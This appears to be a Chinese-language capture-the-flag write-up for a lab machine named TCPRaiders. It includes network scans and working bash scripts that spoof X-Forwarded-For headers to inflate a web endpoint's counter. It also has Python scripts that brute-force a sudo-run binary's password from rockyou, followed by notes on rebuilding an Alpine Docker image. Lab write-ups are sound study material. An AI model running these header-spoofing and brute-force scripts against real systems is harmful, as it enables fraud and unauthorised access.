Self-VM TCPRaiders复盘
难度-Low
网段扫描
1
2
3
4
5
Interface: eth0, type: EN10MB, MAC: 00:0c:29:d1:27:55, IPv4: 192.168.137.190
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.137.1 3e:21:9c:12:bd:a3 (Unknown: locally administered)
192.168.137.59 a0:78:17:62:e5:0a Apple, Inc.
192.168.137.82 3e:21:9c:12:bd:a3 (Unknown: locally administered)
端口扫描
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
root@LingMj:~/xxoo/jarjar# nmap -p- -sV -sC 192.168.137.82
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-05 03:54 EDT
Nmap scan report for tcpraiders.hmv.mshome.net (192.168.137.82)
Host is up (0.040s latency).
All 65535 scanned ports on tcpraiders.hmv.mshome.net (192.168.137.82) are in ignored states.
Not shown: 65535 closed tcp ports (reset)
MAC Address: 3E:21:9C:12:BD:A3 (Unknown)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.95 seconds
root@LingMj:~/xxoo/jarjar# nmap -p- -sV -sC 192.168.137.82
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-05 03:55 EDT
Nmap scan report for tcpraiders.hmv.mshome.net (192.168.137.82)
Host is up (0.0064s latency).
All 65535 scanned ports on tcpraiders.hmv.mshome.net (192.168.137.82) are in ignored states.
Not shown: 65535 closed tcp ports (reset)
MAC Address: 3E:21:9C:12:BD:A3 (Unknown)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.93 seconds
获取webshell
目前没有出现对应ipv6端口
目前还没有脚本也不行
端口是0需要转发
这是我用的脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/bin/bash
# 配置参数
TOKEN="093f21d7-0bdf-466f-b88d-3ebdaa4d080e"
URL="http://192.168.137.111:0/support?token=$TOKEN"
MAX_REQUESTS=65535 # 最大请求次数(0xFFFF)
THREADS=50 # 并发线程数
TIMEOUT=3 # 超时时间(秒)
# 颜色定义
RED='\033[1;31m'
GREEN='\033[1;32m'
YELLOW='\033[1;33m'
BLUE='\033[1;34m'
NC='\033[0m' # 重置颜色
# 生成随机 IP (格式: 1-255.0-255.0-255.0-255)
rand_ip() {
echo "$((RANDOM%254+1)).$((RANDOM%256)).$((RANDOM%256)).$((RANDOM%256))"
}
# 发送请求并检查响应
send_request() {
local ip=$(rand_ip)
local response=$(curl -s -m $TIMEOUT -H "X-Forwarded-For: $ip" "$URL")
if [[ "$response" == *"flag{"* ]]; then
echo -e "\n${GREEN}[+] FLAG 发现: $response${NC}"
kill -TERM $$ 2>/dev/null # 终止所有子进程
elif [[ "$response" == *"助力成功"* ]]; then
echo -ne "\r${BLUE}[*] 已发送: $((++count)) 次请求${NC}"
else
echo -e "\n${YELLOW}[!] 异常响应: $response${NC}"
fi
}
# 清理后台进程
trap "jobs -p | xargs kill -9" EXIT
# 主循环
echo -e "${YELLOW}[!] 启动自动化助力攻击 (目标: $MAX_REQUESTS 次请求)...${NC}"
count=0
for ((i=1; i<=MAX_REQUESTS; i++)); do
send_request &
# 控制并发数
while [[ $(jobs -r | wc -l) -ge $THREADS ]]; do
sleep 0.1
done
done
wait
echo -e "\n${RED}[-] 未找到 FLAG,请检查参数或增加尝试次数${NC}"
当然虽然gtp说了,但是我还是要了提示才知道,不过我觉得随机数去刷票不如按1开始顺序到最后一个快因为随机数可以出现重复
这随机数也太久了我以为随机数重复几率更低,真服了
改得话还真挺难的因为还得重新跑一遍
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/bin/bash
# 配置参数
TOKEN="093f21d7-0bdf-466f-b88d-3ebdaa4d080e"
URL="http://192.168.137.111:0/support?token=$TOKEN"
THREADS=50 # 并发线程数
TIMEOUT=3 # 超时时间(秒)
START_IP=0 # 起始IP数值(0.0.0.0)
END_IP=4294967295 # 终止IP数值(255.255.255.255)
# 颜色定义
RED='\033[1;31m'
GREEN='\033[1;32m'
YELLOW='\033[1;33m'
BLUE='\033[1;34m'
NC='\033[0m'
# 将32位整数转换为IP地址
int_to_ip() {
local ip=$1
echo "$(( (ip >> 24) & 0xFF )).$(( (ip >> 16) & 0xFF )).$(( (ip >> 8) & 0xFF )).$(( ip & 0xFF ))"
}
# 发送请求
send_request() {
local ip_int=$1
local ip=$(int_to_ip $ip_int)
local response=$(curl -s -m $TIMEOUT -H "X-Forwarded-For: $ip" "$URL")
if [[ "$response" == *"flag{"* ]]; then
echo -e "\n${GREEN}[+] FLAG 发现于 $ip : $response${NC}"
kill -TERM $$ 2>/dev/null
elif [[ "$response" == *"助力成功"* ]]; then
echo -ne "\r${BLUE}[*] 当前进度: $ip (已完成 $(( (ip_int - START_IP)*100/(END_IP - START_IP) ))% )${NC}"
fi
}
# 清理进程
trap "jobs -p | xargs kill -9" EXIT
# 主循环
echo -e "${YELLOW}[!] 启动顺序IP助力攻击 (范围: $(int_to_ip $START_IP) 到 $(int_to_ip $END_IP))...${NC}"
for ((ip_int=$START_IP; ip_int<=$END_IP; ip_int++)); do
send_request $ip_int &
# 控制并发数
while [[ $(jobs -r | wc -l) -ge $THREADS ]]; do
sleep 0.1
done
done
wait
echo -e "\n${RED}[-] 未找到 FLAG,请缩小IP范围或检查服务状态${NC}"
换一个脚本,下次一定选python,不知道为何感觉python比shell快
看了ps -ef 是存在并发到但是前面都匹配过了
还有一个方案
提权
调终端的这里是ash而且没有script,我专门查了一下,主要这个系统我没咋打过之前这个作者的靶机我都用蚁剑操作
咋还翻过来提示呢
找到115次字典说rocy么,如果是没有ssh需要suforce么
又是爆破,哎我并发也不行这个,主要字典我不知道是否是这个
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import subprocess
def reverse_line(line):
return line.strip()[::-1]
try:
with open('rockyou.txt', 'r', encoding='latin-1') as f:
for line in f:
password = line.strip()
# 启动进程,合并stderr到stdout
proc = subprocess.Popen(
['sudo', '-u', 'luna', '/usr/sbin/luna'],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
text=True
)
# 发送密码并获取输出
stdout_output, _ = proc.communicate(input=password + '\n')
# 检查每一行反转后是否包含错误信息
incorrect_found = False
for output_line in stdout_output.splitlines():
reversed_line = reverse_line(output_line)
if 'Incorrect password.' in reversed_line:
incorrect_found = True
break
if not incorrect_found:
print(f"Correct password found: {password}")
exit(0)
else:
print(f"Tried: {password} -> Incorrect")
except FileNotFoundError:
print("Error: rockyou.txt not found.")
exit(1)
except KeyboardInterrupt:
print("\nProcess interrupted by user.")
exit(1)
print("No correct password found in the list.")
exit(1)
不会这个又给我干一宿不出密码吧,又过去了一段时间我开始怀疑是否在ro里面这个密码
真跑完有点离谱了,还没出答案我已经开始怀疑是否应该这个方式了,刷单一个小时,这个也一个小时的话太离谱了虽然已经过去50分钟了,我已经开始怀疑我的方案真实性,主要别人老快了,真服了
不行了看一下是这个方案不,再这样跑下去我今晚都凌晨无解,是这个方向看了方案但是唯一问题是我输入的东西应该也反转而不是支棱输入进去,而且成没有回显
好了脚本没事问题
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import subprocess
def reverse_line(line):
return line.strip()[::-1]
try:
with open('pass.txt', 'r', encoding='latin-1') as f:
for line in f:
original_pass = line.strip()
reversed_pass = original_pass[::-1] # 关键修改:反转密码
proc = subprocess.Popen(
['sudo', '-u', 'luna', '/usr/sbin/luna'],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
universal_newlines=True # 确保文本模式
)
# 发送反转后的密码
stdout_output, _ = proc.communicate(input=reversed_pass + '\n')
# 检查输出是否包含错误信息
incorrect_found = any(
'Incorrect password.' in reverse_line(output_line)
for output_line in stdout_output.split('\n')
)
if not incorrect_found:
print(f"[+] Correct password found! Original: {original_pass}")
print(f"[*] Actual input sent: {reversed_pass}")
exit(0)
else:
print(f"[-] Trying: {original_pass} -> Sent: {reversed_pass}")
except FileNotFoundError:
print("[!] Error: rockyou.txt not found in current directory")
exit(1)
except Exception as e:
print(f"[!] Runtime error: {str(e)}")
exit(1)
print("[!] No valid password found in the list")
exit(1)
网络不太行,我直接构建tar模型直接做过但是啥权限没有很难受啊
这里验证我的iamge没有问题,这里主要我本来就有tar保证它是没问题的但是去虚拟机就是报错
看来是build的问题,算了我放弃除非是那种就是给build建造的tar不然解决不了睡觉了,我看了文档明天找官方带build的tar文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
root@LingMj:~/xxoo/jarjar# mkdir -p alpine-rebuild
root@LingMj:~/xxoo/jarjar# cd alpine-rebuild
root@LingMj:~/xxoo/jarjar/alpine-rebuild# cp ../alpine.tar .
root@LingMj:~/xxoo/jarjar/alpine-rebuild# mkdir -p alpine-layers
root@LingMj:~/xxoo/jarjar/alpine-rebuild# tar -xf alpine.tar -C alpine-layers
root@LingMj:~/xxoo/jarjar/alpine-rebuild# cd alpine-layers
root@LingMj:~/xxoo/jarjar/alpine-rebuild/alpine-layers# mkdir merged_rootfs
root@LingMj:~/xxoo/jarjar/alpine-rebuild/alpine-layers# gzip -d < blobs/sha256/$(cat manifest.json | jq -r '.[0].Layers[0]' | sed 's/^blobs\/sha256\///') | tar -x -C merged_rootfs
root@LingMj:~/xxoo/jarjar/alpine-rebuild/alpine-layers# cd ..
root@LingMj:~/xxoo/jarjar/alpine-rebuild# cat > Dockerfile <<EOF
FROM scratch
COPY alpine-layers/merged_rootfs/ /
ENV PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
CMD ["/bin/sh"]
EOF
root@LingMj:~/xxoo/jarjar/alpine-rebuild# ls
alpine-layers alpine.tar Dockerfile
root@LingMj:~/xxoo/jarjar/alpine-rebuild# cat Dockerfile
FROM scratch
COPY alpine-layers/merged_rootfs/ /
ENV PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
CMD ["/bin/sh"]
root@LingMj:~/xxoo/jarjar/alpine-rebuild# docker build -t my-alpine:latest .
DEPRECATED: The legacy builder is deprecated and will be removed in a future release.
Install the buildx component to build images with BuildKit:
https://docs.docker.com/go/buildx/
Sending build context to Docker daemon 15.44MB
Step 1/4 : FROM scratch
--->
Step 2/4 : COPY alpine-layers/merged_rootfs/ /
---> 876706700f63
Step 3/4 : ENV PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
---> Running in d07d8df463de
---> Removed intermediate container d07d8df463de
---> dcf26edd1f55
Step 4/4 : CMD ["/bin/sh"]
---> Running in 67e3d4d22f89
---> Removed intermediate container 67e3d4d22f89
---> 121ec56e685a
Successfully built 121ec56e685a
Successfully tagged my-alpine:latest
root@LingMj:~/xxoo/jarjar/alpine-rebuild# docker run --rm my-alpine:latest /bin/ls -l /bin
这里是我研究的整个流程用于hash处理这样就解决oci的对应docker image重建
结束,逻辑的话就是原来镜像里面的/bin/busybox是需要理由hash提取出来在重构组里。并且需要指定PATH保证能访问到里面去,也就是说我直接pull,save的tar是不满足重构的要求,这里我们需要手动创建文件夹和文件夹目录结构才行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
alpine-rebuild/
├── Dockerfile
├── alpine-layers
│ ├── blobs
│ │ └── sha256
│ │ ├── 1c4eef651f65e2f7daee7ee785882ac164b02b78fb74503052a26dc061c90474
│ │ ├── a8560b36e8b8210634f77d9f7f9efd7ffa463e380b75e2e74aff4511df3ef88c
│ │ ├── aded1e1a5b3705116fa0a92ba074a5e0b0031647d9c315983ccba2ee5428ec8b
│ │ └── f18232174bc91741fdf3da96d85011092101a032a93a388b79e99e69c2d5c870
│ ├── index.json
│ ├── manifest.json
│ ├── merged_rootfs
│ │ ├── bin
│ │ │ ├── arch -> /bin/busybox
│ │ │ ├── ash -> /bin/busybox
│ │ │ ├── base64 -> /bin/busybox
│ │ │ ├── bbconfig -> /bin/busybox
│ │ │ ├── busybox
│ │ │ ├── cat -> /bin/busybox
│ │ │ ├── chattr -> /bin/busybox
│ │ │ ├── chgrp -> /bin/busybox
│ │ │ ├── chmod -> /bin/busybox
│ │ │ ├── chown -> /bin/busybox
│ │ │ ├── cp -> /bin/busybox
│ │ │ ├── date -> /bin/busybox
│ │ │ ├── dd -> /bin/busybox
│ │ │ ├── df -> /bin/busybox
│ │ │ ├── dmesg -> /bin/busybox
│ │ │ ├── dnsdomainname -> /bin/busybox
│ │ │ ├── dumpkmap -> /bin/busybox
│ │ │ ├── echo -> /bin/busybox
│ │ │ ├── egrep -> /bin/busybox
│ │ │ ├── false -> /bin/busybox
│ │ │ ├── fatattr -> /bin/busybox
│ │ │ ├── fdflush -> /bin/busybox
│ │ │ ├── fgrep -> /bin/busybox
│ │ │ ├── fsync -> /bin/busybox
│ │ │ ├── getopt -> /bin/busybox
│ │ │ ├── grep -> /bin/busybox
│ │ │ ├── gunzip -> /bin/busybox
│ │ │ ├── gzip -> /bin/busybox
│ │ │ ├── hostname -> /bin/busybox
│ │ │ ├── ionice -> /bin/busybox
│ │ │ ├── iostat -> /bin/busybox
│ │ │ ├── ipcalc -> /bin/busybox
│ │ │ ├── kbd_mode -> /bin/busybox
│ │ │ ├── kill -> /bin/busybox
│ │ │ ├── link -> /bin/busybox
│ │ │ ├── linux32 -> /bin/busybox
│ │ │ ├── linux64 -> /bin/busybox
│ │ │ ├── ln -> /bin/busybox
│ │ │ ├── login -> /bin/busybox
│ │ │ ├── ls -> /bin/busybox
│ │ │ ├── lsattr -> /bin/busybox
│ │ │ ├── lzop -> /bin/busybox
│ │ │ ├── makemime -> /bin/busybox
│ │ │ ├── mkdir -> /bin/busybox
│ │ │ ├── mknod -> /bin/busybox
│ │ │ ├── mktemp -> /bin/busybox
│ │ │ ├── more -> /bin/busybox
│ │ │ ├── mount -> /bin/busybox
│ │ │ ├── mountpoint -> /bin/busybox
│ │ │ ├── mpstat -> /bin/busybox
│ │ │ ├── mv -> /bin/busybox
│ │ │ ├── netstat -> /bin/busybox
│ │ │ ├── nice -> /bin/busybox
│ │ │ ├── pidof -> /bin/busybox
│ │ │ ├── ping -> /bin/busybox
│ │ │ ├── ping6 -> /bin/busybox
│ │ │ ├── pipe_progress -> /bin/busybox
│ │ │ ├── printenv -> /bin/busybox
│ │ │ ├── ps -> /bin/busybox
│ │ │ ├── pwd -> /bin/busybox
│ │ │ ├── reformime -> /bin/busybox
│ │ │ ├── rev -> /bin/busybox
│ │ │ ├── rm -> /bin/busybox
│ │ │ ├── rmdir -> /bin/busybox
│ │ │ ├── run-parts -> /bin/busybox
│ │ │ ├── sed -> /bin/busybox
│ │ │ ├── setpriv -> /bin/busybox
│ │ │ ├── setserial -> /bin/busybox
│ │ │ ├── sh -> /bin/busybox
│ │ │ ├── sleep -> /bin/busybox
│ │ │ ├── stat -> /bin/busybox
│ │ │ ├── stty -> /bin/busybox
│ │ │ ├── su -> /bin/busybox
│ │ │ ├── sync -> /bin/busybox
│ │ │ ├── tar -> /bin/busybox
│ │ │ ├── touch -> /bin/busybox
│ │ │ ├── true -> /bin/busybox
│ │ │ ├── umount -> /bin/busybox
│ │ │ ├── uname -> /bin/busybox
│ │ │ ├── usleep -> /bin/busybox
│ │ │ ├── watch -> /bin/busybox
│ │ │ └── zcat -> /bin/busybox
│ │ ├── dev
│ │ ├── etc
│ │ │ ├── alpine-release
│ │ │ ├── apk
│ │ │ │ ├── arch
│ │ │ │ ├── keys
│ │ │ │ │ ├── alpine-devel@lists.alpinelinux.org-4a6a0840.rsa.pub
│ │ │ │ │ ├── alpine-devel@lists.alpinelinux.org-5243ef4b.rsa.pub
│ │ │ │ │ ├── alpine-devel@lists.alpinelinux.org-5261cecb.rsa.pub
│ │ │ │ │ ├── alpine-devel@lists.alpinelinux.org-6165ee59.rsa.pub
│ │ │ │ │ └── alpine-devel@lists.alpinelinux.org-61666e3f.rsa.pub
│ │ │ │ ├── protected_paths.d
│ │ │ │ ├── repositories
│ │ │ │ └── world
│ │ │ ├── busybox-paths.d
│ │ │ │ └── busybox
│ │ │ ├── crontabs
│ │ │ │ └── root
│ │ │ ├── fstab
│ │ │ ├── group
│ │ │ ├── hostname
│ │ │ ├── hosts
│ │ │ ├── inittab
│ │ │ ├── issue
│ │ │ ├── logrotate.d
│ │ │ │ └── acpid
│ │ │ ├── modprobe.d
│ │ │ │ ├── aliases.conf
│ │ │ │ ├── blacklist.conf
│ │ │ │ ├── i386.conf
│ │ │ │ └── kms.conf
│ │ │ ├── modules
│ │ │ ├── modules-load.d
│ │ │ ├── motd
│ │ │ ├── mtab -> ../proc/mounts
│ │ │ ├── network
│ │ │ │ ├── if-down.d
│ │ │ │ ├── if-post-down.d
│ │ │ │ ├── if-post-up.d
│ │ │ │ ├── if-pre-down.d
│ │ │ │ ├── if-pre-up.d
│ │ │ │ └── if-up.d
│ │ │ │ └── dad
│ │ │ ├── nsswitch.conf
│ │ │ ├── opt
│ │ │ ├── os-release -> ../usr/lib/os-release
│ │ │ ├── passwd
│ │ │ ├── periodic
│ │ │ │ ├── 15min
│ │ │ │ ├── daily
│ │ │ │ ├── hourly
│ │ │ │ ├── monthly
│ │ │ │ └── weekly
│ │ │ ├── profile
│ │ │ ├── profile.d
│ │ │ │ ├── 20locale.sh
│ │ │ │ ├── README
│ │ │ │ └── color_prompt.sh.disabled
│ │ │ ├── protocols
│ │ │ ├── secfixes.d
│ │ │ │ └── alpine
│ │ │ ├── securetty
│ │ │ ├── services
│ │ │ ├── shadow
│ │ │ ├── shells
│ │ │ ├── ssl
│ │ │ │ ├── cert.pem -> certs/ca-certificates.crt
│ │ │ │ ├── certs
│ │ │ │ │ └── ca-certificates.crt
│ │ │ │ ├── ct_log_list.cnf
│ │ │ │ ├── ct_log_list.cnf.dist
│ │ │ │ ├── openssl.cnf
│ │ │ │ ├── openssl.cnf.dist
│ │ │ │ └── private
│ │ │ ├── ssl1.1
│ │ │ │ ├── cert.pem -> /etc/ssl/cert.pem
│ │ │ │ └── certs -> /etc/ssl/certs
│ │ │ ├── sysctl.conf
│ │ │ ├── sysctl.d
│ │ │ └── udhcpc
│ │ │ └── udhcpc.conf
│ │ ├── home
│ │ ├── lib
│ │ │ ├── apk
│ │ │ │ ├── db
│ │ │ │ │ ├── installed
│ │ │ │ │ ├── lock
│ │ │ │ │ ├── scripts.tar
│ │ │ │ │ └── triggers
│ │ │ │ └── exec
│ │ │ ├── firmware
│ │ │ ├── ld-musl-x86_64.so.1
│ │ │ ├── libc.musl-x86_64.so.1 -> ld-musl-x86_64.so.1
│ │ │ ├── modules-load.d
│ │ │ └── sysctl.d
│ │ ├── media
│ │ │ ├── cdrom
│ │ │ ├── floppy
│ │ │ └── usb
│ │ ├── mnt
│ │ ├── opt
│ │ ├── proc
│ │ ├── root [error opening dir]
│ │ ├── run
│ │ │ └── lock
│ │ ├── sbin
│ │ │ ├── acpid -> /bin/busybox
│ │ │ ├── adjtimex -> /bin/busybox
│ │ │ ├── apk
│ │ │ ├── arp -> /bin/busybox
│ │ │ ├── blkid -> /bin/busybox
│ │ │ ├── blockdev -> /bin/busybox
│ │ │ ├── depmod -> /bin/busybox
│ │ │ ├── fbsplash -> /bin/busybox
│ │ │ ├── fdisk -> /bin/busybox
│ │ │ ├── findfs -> /bin/busybox
│ │ │ ├── fsck -> /bin/busybox
│ │ │ ├── fstrim -> /bin/busybox
│ │ │ ├── getty -> /bin/busybox
│ │ │ ├── halt -> /bin/busybox
│ │ │ ├── hwclock -> /bin/busybox
│ │ │ ├── ifconfig -> /bin/busybox
│ │ │ ├── ifdown -> /bin/busybox
│ │ │ ├── ifenslave -> /bin/busybox
│ │ │ ├── ifup -> /bin/busybox
│ │ │ ├── init -> /bin/busybox
│ │ │ ├── inotifyd -> /bin/busybox
│ │ │ ├── insmod -> /bin/busybox
│ │ │ ├── ip -> /bin/busybox
│ │ │ ├── ipaddr -> /bin/busybox
│ │ │ ├── iplink -> /bin/busybox
│ │ │ ├── ipneigh -> /bin/busybox
│ │ │ ├── iproute -> /bin/busybox
│ │ │ ├── iprule -> /bin/busybox
│ │ │ ├── iptunnel -> /bin/busybox
│ │ │ ├── klogd -> /bin/busybox
│ │ │ ├── ldconfig
│ │ │ ├── loadkmap -> /bin/busybox
│ │ │ ├── logread -> /bin/busybox
│ │ │ ├── losetup -> /bin/busybox
│ │ │ ├── lsmod -> /bin/busybox
│ │ │ ├── mdev -> /bin/busybox
│ │ │ ├── mkdosfs -> /bin/busybox
│ │ │ ├── mkfs.vfat -> /bin/busybox
│ │ │ ├── mkswap -> /bin/busybox
│ │ │ ├── modinfo -> /bin/busybox
│ │ │ ├── modprobe -> /bin/busybox
│ │ │ ├── nameif -> /bin/busybox
│ │ │ ├── nologin -> /bin/busybox
│ │ │ ├── pivot_root -> /bin/busybox
│ │ │ ├── poweroff -> /bin/busybox
│ │ │ ├── raidautorun -> /bin/busybox
│ │ │ ├── reboot -> /bin/busybox
│ │ │ ├── rmmod -> /bin/busybox
│ │ │ ├── route -> /bin/busybox
│ │ │ ├── setconsole -> /bin/busybox
│ │ │ ├── slattach -> /bin/busybox
│ │ │ ├── swapoff -> /bin/busybox
│ │ │ ├── swapon -> /bin/busybox
│ │ │ ├── switch_root -> /bin/busybox
│ │ │ ├── sysctl -> /bin/busybox
│ │ │ ├── syslogd -> /bin/busybox
│ │ │ ├── tunctl -> /bin/busybox
│ │ │ ├── udhcpc -> /bin/busybox
│ │ │ ├── vconfig -> /bin/busybox
│ │ │ ├── watchdog -> /bin/busybox
│ │ │ └── zcip -> /bin/busybox
│ │ ├── srv
│ │ ├── sys
│ │ ├── tmp
│ │ ├── usr
│ │ │ ├── bin
│ │ │ │ ├── [ -> /bin/busybox
│ │ │ │ ├── [[ -> /bin/busybox
│ │ │ │ ├── awk -> /bin/busybox
│ │ │ │ ├── basename -> /bin/busybox
│ │ │ │ ├── bc -> /bin/busybox
│ │ │ │ ├── beep -> /bin/busybox
│ │ │ │ ├── blkdiscard -> /bin/busybox
│ │ │ │ ├── bunzip2 -> /bin/busybox
│ │ │ │ ├── bzcat -> /bin/busybox
│ │ │ │ ├── bzip2 -> /bin/busybox
│ │ │ │ ├── cal -> /bin/busybox
│ │ │ │ ├── chvt -> /bin/busybox
│ │ │ │ ├── cksum -> /bin/busybox
│ │ │ │ ├── clear -> /bin/busybox
│ │ │ │ ├── cmp -> /bin/busybox
│ │ │ │ ├── comm -> /bin/busybox
│ │ │ │ ├── cpio -> /bin/busybox
│ │ │ │ ├── crontab -> /bin/busybox
│ │ │ │ ├── cryptpw -> /bin/busybox
│ │ │ │ ├── cut -> /bin/busybox
│ │ │ │ ├── dc -> /bin/busybox
│ │ │ │ ├── deallocvt -> /bin/busybox
│ │ │ │ ├── diff -> /bin/busybox
│ │ │ │ ├── dirname -> /bin/busybox
│ │ │ │ ├── dos2unix -> /bin/busybox
│ │ │ │ ├── du -> /bin/busybox
│ │ │ │ ├── eject -> /bin/busybox
│ │ │ │ ├── env -> /bin/busybox
│ │ │ │ ├── expand -> /bin/busybox
│ │ │ │ ├── expr -> /bin/busybox
│ │ │ │ ├── factor -> /bin/busybox
│ │ │ │ ├── fallocate -> /bin/busybox
│ │ │ │ ├── find -> /bin/busybox
│ │ │ │ ├── flock -> /bin/busybox
│ │ │ │ ├── fold -> /bin/busybox
│ │ │ │ ├── free -> /bin/busybox
│ │ │ │ ├── fuser -> /bin/busybox
│ │ │ │ ├── getconf
│ │ │ │ ├── getent
│ │ │ │ ├── groups -> /bin/busybox
│ │ │ │ ├── hd -> /bin/busybox
│ │ │ │ ├── head -> /bin/busybox
│ │ │ │ ├── hexdump -> /bin/busybox
│ │ │ │ ├── hostid -> /bin/busybox
│ │ │ │ ├── iconv
│ │ │ │ ├── id -> /bin/busybox
│ │ │ │ ├── install -> /bin/busybox
│ │ │ │ ├── ipcrm -> /bin/busybox
│ │ │ │ ├── ipcs -> /bin/busybox
│ │ │ │ ├── killall -> /bin/busybox
│ │ │ │ ├── last -> /bin/busybox
│ │ │ │ ├── ldd
│ │ │ │ ├── less -> /bin/busybox
│ │ │ │ ├── logger -> /bin/busybox
│ │ │ │ ├── lsof -> /bin/busybox
│ │ │ │ ├── lsusb -> /bin/busybox
│ │ │ │ ├── lzcat -> /bin/busybox
│ │ │ │ ├── lzma -> /bin/busybox
│ │ │ │ ├── lzopcat -> /bin/busybox
│ │ │ │ ├── md5sum -> /bin/busybox
│ │ │ │ ├── mesg -> /bin/busybox
│ │ │ │ ├── microcom -> /bin/busybox
│ │ │ │ ├── mkfifo -> /bin/busybox
│ │ │ │ ├── mkpasswd -> /bin/busybox
│ │ │ │ ├── nc -> /bin/busybox
│ │ │ │ ├── nl -> /bin/busybox
│ │ │ │ ├── nmeter -> /bin/busybox
│ │ │ │ ├── nohup -> /bin/busybox
│ │ │ │ ├── nproc -> /bin/busybox
│ │ │ │ ├── nsenter -> /bin/busybox
│ │ │ │ ├── nslookup -> /bin/busybox
│ │ │ │ ├── od -> /bin/busybox
│ │ │ │ ├── openvt -> /bin/busybox
│ │ │ │ ├── passwd -> /bin/busybox
│ │ │ │ ├── paste -> /bin/busybox
│ │ │ │ ├── pgrep -> /bin/busybox
│ │ │ │ ├── pkill -> /bin/busybox
│ │ │ │ ├── pmap -> /bin/busybox
│ │ │ │ ├── printf -> /bin/busybox
│ │ │ │ ├── pscan -> /bin/busybox
│ │ │ │ ├── pstree -> /bin/busybox
│ │ │ │ ├── pwdx -> /bin/busybox
│ │ │ │ ├── readlink -> /bin/busybox
│ │ │ │ ├── realpath -> /bin/busybox
│ │ │ │ ├── renice -> /bin/busybox
│ │ │ │ ├── reset -> /bin/busybox
│ │ │ │ ├── resize -> /bin/busybox
│ │ │ │ ├── scanelf
│ │ │ │ ├── seq -> /bin/busybox
│ │ │ │ ├── setkeycodes -> /bin/busybox
│ │ │ │ ├── setsid -> /bin/busybox
│ │ │ │ ├── sha1sum -> /bin/busybox
│ │ │ │ ├── sha256sum -> /bin/busybox
│ │ │ │ ├── sha3sum -> /bin/busybox
│ │ │ │ ├── sha512sum -> /bin/busybox
│ │ │ │ ├── showkey -> /bin/busybox
│ │ │ │ ├── shred -> /bin/busybox
│ │ │ │ ├── shuf -> /bin/busybox
│ │ │ │ ├── sort -> /bin/busybox
│ │ │ │ ├── split -> /bin/busybox
│ │ │ │ ├── ssl_client
│ │ │ │ ├── strings -> /bin/busybox
│ │ │ │ ├── sum -> /bin/busybox
│ │ │ │ ├── tac -> /bin/busybox
│ │ │ │ ├── tail -> /bin/busybox
│ │ │ │ ├── tee -> /bin/busybox
│ │ │ │ ├── test -> /bin/busybox
│ │ │ │ ├── time -> /bin/busybox
│ │ │ │ ├── timeout -> /bin/busybox
│ │ │ │ ├── top -> /bin/busybox
│ │ │ │ ├── tr -> /bin/busybox
│ │ │ │ ├── traceroute -> /bin/busybox
